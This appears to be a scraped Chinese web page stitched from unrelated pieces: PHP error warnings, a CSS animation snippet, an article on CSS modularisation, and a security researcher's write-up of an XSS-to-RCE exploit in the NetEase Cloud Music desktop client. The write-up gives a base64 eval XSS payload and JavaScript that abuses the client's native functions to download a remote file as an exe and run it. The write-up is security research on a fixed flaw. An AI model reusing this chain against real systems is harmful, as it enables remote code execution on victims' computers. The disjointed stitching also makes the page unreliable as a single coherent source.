Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537 Warning: error_log(/data/www/wwwroot/hmttv.cn/caches/error_log.php): failed to open stream: Permission denied in /data/www/wwwroot/hmttv.cn/phpcms/libs/functions/global.func.php on line 537
前兩天聽歌的時候發現網易云的孤獨星球動畫挺好看,本想著在網上找找思路,誰知道直接就有,哈哈效果圖(動態的,沒找到動態工具,拿截圖湊合看吧):
CSS
#effect-music { position: relative; margin: auto; width: 100%; height: 400px; overflow: hidden;} #effect-music > .image { position: absolute; left: 0; right: 0; top: 0; bottom: 0; margin: auto; width: 150px; height: 150px; background: url(https://tvax1.sinaimg.cn/crop.0.280.720.720.180/cf2922d4ly1g4r5m8upm6j20k00zkqt7.jpg); background-size: cover; background-position: center center; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -ms-border-radius: 50%; -o-border-radius: 50%; animation: rotate 10s linear 0s infinite; -webkit-animation: rotate 10s linear 0s infinite;} #effect-music > .wave { position: absolute; opacity: 0; left: 0; right: 0; top: 0; bottom: 0; margin: auto; width: 204px; height: 204px; border-radius: 50%; border: 2px solid #eee; animation: wave 4s linear 0s infinite; -webkit-animation: wave 4s linear 0s infinite;} #effect-music > .wave::after { content: ""; position: absolute; top: -4px; left: 50%; width: 6px; height: 6px; overflow: hidden; border-radius: 5px; -webkit-border-radius: 5px; -moz-border-radius: 5px; -ms-border-radius: 5px; -o-border-radius: 5px; background-color: #ccc;} #effect-music > .wave:nth-child(2) { animation-delay: 1s;} #effect-music > .wave:nth-child(3) { animation-delay: 2s;} #effect-music > .wave:nth-child(4) { animation-delay: 3s;} @keyframes rotate { from { transform: rotate(0deg); -webkit-transform: rotate(0deg); -moz-transform: rotate(0deg); -ms-transform: rotate(0deg); -o-transform: rotate(0deg); } to { transform: rotate(360deg); -webkit-transform: rotate(360deg); -moz-transform: rotate(360deg); -ms-transform: rotate(360deg); -o-transform: rotate(360deg); }} @keyframes wave { from { opacity: 1; transform: rotate(0deg) scale(1); -webkit-transform: rotate(0deg) scale(1); -moz-transform: rotate(0deg) scale(1); -ms-transform: rotate(0deg) scale(1); -o-transform: rotate(0deg) scale(1); } to { opacity: 0; transform: rotate(-300deg) scale(2.2); -webkit-transform: rotate(-300deg) scale(2.2); -moz-transform: rotate(-300deg) scale(2.2); -ms-transform: rotate(-300deg) scale(2.2); -o-transform: rotate(-300deg) scale(2.2);}}
HTML
<div id="effect-music"><div class="image"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div><div class="wave"></div></div>
Author: Wfox@360RedTeam
前面章節講解了應用程序是如何與網頁進行交互的,接下來章節分析通用軟件歷史漏洞,通過真實漏洞案例分析去了解嵌入式瀏覽器安全的攻擊面。本章節講的是網易云音樂rce漏洞分析,一個經典的XSS to RCE漏洞。
往期文章回顧: 1. 《嵌入式瀏覽器安全之初識Cef》
cef瀏覽器中加載web網頁訪問通常分為兩種,分別是遠程資源加載、本地資源加載。
遠程資源加載,通過http、https等協議加載網頁,通常在軟件里作為擴展功能,可延展性強,缺點是頁面加載速度受網絡環境影響。 本地資源加載,通過file協議實現加載web頁面,也是cef桌面應用的主要實現方式。本地加載uri實現方式分為三種:
第2、3種方式是通過cef資源重定向實現的,在使用cef加載本地web資源時,html或者js文件很可能會暴露一些接口或者重要數據,為了代碼保護需要把web資源進行加密,常見方式是通過zip進行密碼加密。解密也比較簡單,逆向主程序文件找到解壓密碼或者zip明文攻擊就能解壓加密的資源文件。
具體的實現原理這里不再復述,感興趣的可以閱讀這篇文章 https://blog.csdn.net/csdnyonghu123/article/details/92808278
漏洞挖掘的第一步,先打開網易云音樂的目錄,可以看到明顯的Cef目錄架構,比如說子目錄、依賴庫特征等。
在package目錄中,找到了網易云音樂的資源文件包orpheus.ntpk,以zip格式解壓得到網易云音樂html資源文件。
解壓之后目錄結構如下,包含了html、js、css文件等,正是這些構成了網易云音樂的整個前端界面。
當網易云音樂主程序打開時就會加載鏈接 orpheus://orpheus/pub/app.html,經過cef資源重定向處理后,加載orpheus.ntpk壓縮包的/pub/app.html,也就是我們最為熟悉的主界面。
通過進程查看軟件Process Hacker查看cloudmusic.exe進程,可以看到cloudmusic.exe主進程下面起了兩個子進程。
這兩個進程分別是render進程與GPU加速進程,GPU加速進程用于加速頁面渲染,在網易云音樂的設置里可以禁用GPU加速。
// cef render進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=renderer --high-dpi-support=1 --lang=en-US --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --context-safety-implementation=-1 --uncaught-exception-stack-size=1048576 --no-sandbox --enable-pinch --enable-threaded-compositing --enable-delegated-renderer --enable-software-compositing --channel="5180.1.1167745776\650049420" /prefetch:673131151
?
// cef gpu加速渲染進程
"D:\software\Netease\CloudMusic\cloudmusic.exe" --type=gpu-process --channel="5180.0.520330526\2071578727" --high-dpi-support=1 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,15 --gpu-vendor-id=0x15ad --gpu-device-id=0x0405 --gpu-driver-vendor="VMware, Inc." --gpu-driver-version=8.16.1.24 --lang=en-US --log-file="C:\Users\pc\AppData\Local\Netease\CloudMusic\web.log" --product-version="Chrome/35.0.1916.157 NeteaseMusicDesktop/2.7.0.198230" --no-sandbox /prefetch:822062411
在漏洞挖掘過程中可以關注下cef進程的啟動參數,指不定有些好玩的啟動參數,后邊章節再講這方面。
在拿到源碼文件之后,能做的事情很多,感興趣的可以自行從html、js里邊發掘。這次的目的是為了給客戶端彈個計算器,所以首先要達到一個目標,執行任意JavaScript,先從一個xss漏洞開始。
接下來就是常規的Web前端漏洞挖掘思路,在發掘過程中可以將html、js進行格式化,方便閱讀代碼。
原漏洞作者的思路是從html模板文件找到未過濾的模板變量,從而控制輸出點達到xss。但在實際挖掘中,大部分html輸出點都是不可控的,原作者找到的xss觸發點在電臺頁面/pub/module/main/djradio/show/index.html的電臺名稱字段。
漏洞點修復前是${x.name},修復之后加上了escape進行編碼過濾。
我們需要添加一個名稱帶有xss payload的電臺,受害者通過搜索電臺名稱,在訪問電臺頁時即可觸發xss。
原漏洞作者提到了通過外置瀏覽器跳轉到偽協議鏈接orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest,從而喚起網易云音樂,但經過實際分析測試,只能喚起應用但不能跳到對應搜索頁面。
那外置瀏覽器是如何調用網易云音樂偽協議,通過注冊表可以查看windows系統中注冊的所有偽協議,比如網易云音樂orpheus協議在注冊表的地址為 HKEY_CLASSES_ROOT\orpheus\shell\open\command,鍵值為 “D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”%1″,%1作為變量對應的是完整的偽協議url,最終創建進程 D:\software\Netease\CloudMusic\cloudmusic.exe” –webcmd=”orpheus://native/start.html?action=migrate&src=D%3A%5CCloudMUsic&dest=D%3A%5CTest”
目前電臺頁面處無法復現漏洞,所以搬了原作者的xss效果圖。
小目標達到了,接下來就是如何將xss漏洞的危害擴大,這里就要用到第一節講到的知識點,應用程序會在render進程上下文中注冊許多JavaScript擴展函數,用于應用程序與網頁進行交互。
舉個例子,緩存歌曲、緩存突破、下載歌曲、下載歌詞文件這些功能都需要涉及文件操作,但網頁由于安全策略限制是無法直接保存文件的,所以需要通過JavaScript調用native function來實現文件操作。
當然應用程序注冊的JavaScript擴展函數不止這些,接下來進階攻擊就是尋找脆弱的JS擴展函數進行復用,以達到竊取數據、劫持登錄憑證、讀取任意文件、甚至控制對方計算機權限的目的。
現在復測沒有xss漏洞可以用,那我們就假裝有一個xss,通過攔截網易云音樂的請求修改響應,插入我們的JavaScript代碼。此時祭出大殺器BurpSuite,通過網易云音樂自帶的HTTP代理功能設置成127.0.0.1:8080
代理設置成功后,BurpSuite就能抓到網易云音樂的請求。這里用漏洞版本2.1.2.180086作為演示,前面提到過網易云音樂有很多html輸出點都沒過濾的,但是內容是不可控的。在舊版本網易云音樂中,可以通過BurpSuite攔截修改api請求的明文響應包插入xss payload,觸發XSS。(新版本中api請求響應都加密了)
比如說在搜索歌詞時,響應部分的lyrics字段會作為html內容插入到頁面中,可以替換這部分的響應內容插入xss內容。
添加自動替換響應包規則,省得每次都要攔截修改響應。
隨便搜一個查詢條數少的關鍵詞,切到歌詞的搜索結果,加載替換響應內容后成功觸發XSS。
通常cef程序很少會留有可以直接系統命令的擴展函數,所以常見的rce思路是下載可執行文件+運行文件以達到rce的效果。接下來就是通讀代碼,尋找任意保存文件的擴展函數。
網易云音樂的主要功能邏輯在core.js文件,第一步先將混淆的JavaScript代碼美化,提高代碼可讀性,在代碼量居多的情況下可以搜索相關關鍵詞以定位函數,如save、保存、download、下載等,通過關鍵詞定位找到一處可疑的功能代碼。
根據代碼上下文邏輯,構造出文件下載保存的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://www.baidu.com/img/bd_logo1.png", rel_path: "C:/users/public/1.png", pre_path: "", type: 1 });
JavaScript代碼太長在xss里格式不好處理,所以將xss代碼base64執行。
<img src=x onerror=eval(atob('dmFyIGJ5eiA9IE5FSi5QOwpiRCA9IGJ5eigibmVqLmNlZiIpOwpiRC5jRkIoImRvd25sb2FkLnN0YXJ0IiwgeyBpZDogImltYWdlX2Rvd25sb2FkIiwgdXJsOiAiaHR0cHM6Ly93d3cuYmFpZHUuY29tL2ltZy9iZF9sb2dvMS5wbmciLCByZWxfcGF0aDogIkM6L3VzZXJzL3B1YmxpYy8xLnBuZyIsIHByZV9wYXRoOiAiIiwgdHlwZTogMSB9KTs='))>
插入XSS代碼觸發,可以將任意遠程文件保存到本地任意位置。poc觸發成功后將百度logo圖片保存到c:/users/public/1.png
當然在實際場景中可能會遇到長度限制,這里只是把payload寫在一起作為演示,正常利用建議還是引用遠程JS文件。
exe文件已經落地到文件系統中了,接下來就是如何觸發下載后的exe文件。通讀代碼可以發現,網易云音樂基本是通過bD.cFB、bD.bX調用native函數,可以圍繞著這些函數調用進行發掘,然后復用函數方法。
通過技巧找到了打開exe文件的方法,這個函數原意應該是用來打開文件夾的,文件/pub/module/main/offline/complete/index.html
根據代碼上下文邏輯,構造出打開指定exe文件的JavaScript代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.bX("os.shellOpen", "c:/windows/system32/calc.exe");
文件下載、打開exe文件都具備了,接下來構造完整漏洞利用代碼。
var byz=NEJ.P;
bD=byz("nej.cef");
bD.cFB("download.start", { id: "image_download", url: "https://xxx.com/calc.jpg", rel_path: "c:/users/public/1.exe", pre_path: "", type: 1 });
setTimeout(function(){bD.bX("os.shellOpen", "c:/users/public/1.exe")}, 5000);
完整利用流程:插入xss payload -> 誘導別人觸發xss -> 下載保存exe文件 -> 打開執行exe文件
在網易云音樂最新版本中不僅修復了xss漏洞、增加CSP安全策略,還修復了文件下載、打開文件等涉及文件操作的許多函數,使攻擊成本加大,熟悉逆向的可以分析下判斷邏輯是否能夠繞過。
本章節涉及了cef資源加載、目錄結構分析、進程啟動分析、scheme協議注冊、XSS漏洞挖掘、native交互漏洞挖掘等知識點,完成一個XSS to RCE漏洞的挖掘才能算是真正的入門。當Web安全人員去真正發掘這方面漏洞時,會發現嵌入式瀏覽器漏洞挖掘也沒那么難以觸及,主要是通讀代碼跟復現代碼邏輯會比較耗時間,感興趣的朋友可以嘗試下挖掘通用點的桌面應用~
漏洞原作者:evi1m0 https://www.chinabaiker.com/thread-2897-1-1.html https://blog.csdn.net/csdnyonghu123/article/details/92808278
CSS(Cascading Style Sheets),從誕生之初就決定了它無法編程,甚至連解釋性語言都算不上,只能作為一種簡單的層疊樣式表,對 HTML 元素進行格式化。
但隨著前端的發展,前端項目已經變得越來越龐大和復雜,社區也一直在探索如何以一種有效的方式去管理前端的代碼(js/css/html)和資源(images, fonts, ...)。
在這個過程中,社區探索出了 js 的模塊化(amd, commonjs, es6),現在用 js 開發大工程已經游刃有余,而 css 的模塊化卻還沒有特別的深入人心。
1. 分組式模塊化
這是最早對 css 模塊化的實現,也是最主要的一種方式,包括現在很多組件和開發者都是用這種方式開發的。
分組式模塊化就是用命名的方式,以不同的前綴代表不同的含義,實現樣式分組,文件分塊,達到模塊化的目的。
比如:
# 目錄結構 |-- one/page/css/ 某個頁面的 css 目錄 |-- common.css 通用的 css |-- page1/ 單頁面1 |-- section1.css 區域1 css |-- section2.css 區域2 css |-- page2/ 單頁面2 |-- ... # common.css 文件 .c-el-1 { ... } .c-el-2 { ... } ... # page1/section1.css 文件 .page1-section1 { ... } .page1-section1 .el-1 { ... } .page1-section1 .el-2 { ... } ... # page1/section2.css 文件 .page1-section2 { ... } .page1-section2 .el-1 { ... } .page1-section2 .el-2 { ... } ...
這種方式并不是真正意義上的模塊化,因為無法避免全局沖突的問題,但原生 css 并不具備編程的能力,所以這個問題是無法避免的。盡管分組式不算真正意義上的模塊化,但是這種方式沒有脫離 css 原生的機制,所以尤其是第三方組件在導出 css 文件時,很多都使用的是這種方式。
比如,ant-design 導出的 css 中使用 ant- 前綴標識,mui 導出的 css 中使用 mui- 前綴標識等等。
1.1 最佳實踐
css 命名分組實踐的時間很長,從 css 誕生之初就有了,所以社區已經發展很成熟了,比如網易的 css 規范框架 NEC,H-ui。
補充:
<ul> <li data-tab="1">tab1</li> <li data-tab="2">tab2</li> </ul> <div data-tab-container="1"></div> <div data-tab-container="2"></div>
1.2 css 語言擴充
因為 css 不是編程語言,所以不能聲明變量、函數,不能做判斷、循環和計算,也不能嵌套,所以這就使得寫樣式是一個效率底下且又枯燥的活兒。
為了解決這個問題,社區在探索中主要衍生出了兩種拓展語言 less 與 sass,它們兼容 css,并且拓展了編程的功能,主要是帶來了以下的特性:
.page1-section1 { ... .el-1 { ... .el-1-1 { ... } } .el-2 { ... } }
從模塊化的角度來講,less 與 sass 只是擴充了 css 的功能,但并沒有在語言的層面做模塊化,因為全局命名沖突的問題依然還在。
2. 模塊化(導出為 js 對象)
想要讓 css 具備真正意義上的模塊化功能,暫時還不能從語言的層面來考慮,所以只能從工具的角度來實現。
目前比較好的方式是使用 js 來加載 css 文件,并將 css 的內容導出為一個對象,使用 js 來渲染整個 dom 樹和匹配相應的樣式到對應的元素上,在這個過程中,我們便有機會對 css 做額外的處理,來達到模塊化的目的。
比如:
源文件
# style.css 文件 .className { color: green; } # js 文件 import styles from "./style.css"; element.innerHTML='<div class="' + styles.className + '">Hello!</div>';
實際效果
# style.css 文件 ._23_aKvs-b8bW2Vg3fwHozO { color: green; } # DOM <div class="_23_aKvs-b8bW2Vg3fwHozO">Hello!</div>
在這個轉換過程中,根據文件的位置、內容生成一個全局唯一的 base64 字符串,替換原來的名稱,避免了全局命名沖突的問題,這樣便達到了模塊化的目的。所以,開發的過程中便無全局樣式沖突的問題。
# common.css 文件 .container { ... } .el1 { ... } .el2 { ... } ... # page1/section1.css 文件 .container { ... } .title { ... } .content { ... } ... # page2/section1.css 文件 .container { ... } .title { ... } .content { ... } ...
對 css 模塊化的定義參見 css-modules,其中對 css 書寫需求主要是:
更多功能可以查看 css-modules。
當然這個功能需要構建工具的支持,如果你是使用 webpack 構建工程的話,可以使用 css-loader,并設置 options.modules 為 true, 便可使用模塊化的功能了。
3. 模塊化(內置 js,綁定組件)
隨著前端組件化的發展,組件化框架的更新,如 react、vue,慢慢的發展為把整個組件的資源進行封裝,并只對外暴露一個對象,而調用者無需關心組件的內部實現和資源,直接調用這個對象就夠了。
比如(以 react 為例),一個 Welcome 組件,包括一個 js 文件、一個 css 文件、圖片:
# Welcome 組件 |-- welcome.js |-- welcome.css |-- images/
在 welcome.js 中便可如下加載(使用“導出為 js 對象”的 css 模塊化):
import styles from './welcome.css'; import image1 from './images/1.jpg';
其實,還有另外一種思路,就是將 css 內置 js 中,成為 js 的一部分。
這樣做的目的,一是 css 的模塊化,二是直接綁定到組件上。
比如,material-ui 便是使用的這種方式。
這種方式的實現有很多種,這里主要介紹一下 styled-jsx。
3.1 styled-jsx
styled-jsx 的原理是根據當前文件的位置、內容生成一個全局唯一的標識,然后把這個標識追加到組件每一個元素上,每一個樣式選擇器上,達到模塊化的目的。
可以參考官方文檔,查看詳細的用法,我在這里給個例子:
3.1.1 安裝工具(babel 轉碼所需)
npm install --save styled-jsx
3.1.2 配置 babel plugins(如 .babelrc)
{ "plugins": [ "styled-jsx/babel" ] }
3.1.3 添加源文件代碼
hello.js
export default ()=> ( <div className={'container'}> <p className={'hello'}>Hello! Hello!</p> <div id={'hi'}>Hi!</div> <style jsx>{` .container { color: blue; } p:first-child { color: red; } .hello { color: yellow; } #hi { color: green; } `}</style> </div> )
3.1.4 轉碼
babel path/to/hello.js -d target/dir
轉碼后的文件
import _JSXStyle from 'styled-jsx/style'; export default ()=> ( <div className={'jsx-234963469' + ' ' + 'container'}> <p className={'jsx-234963469' + ' ' + 'hello'}>Hello! Hello!</p> <div id={'hi'} className={"jsx-234963469"}>Hi!</div> <_JSXStyle styleId={"234963469"} css={".container.jsx-234963469{color:blue;}p.jsx-234963469:first-child{color:red;}.hello.jsx-234963469{color:yellow;}#hi.jsx-234963469{color:green;}"} /> </div> );
3.1.5 運行
實際渲染效果
*請認真填寫需求信息,我們會在24小時內與您取得聯系。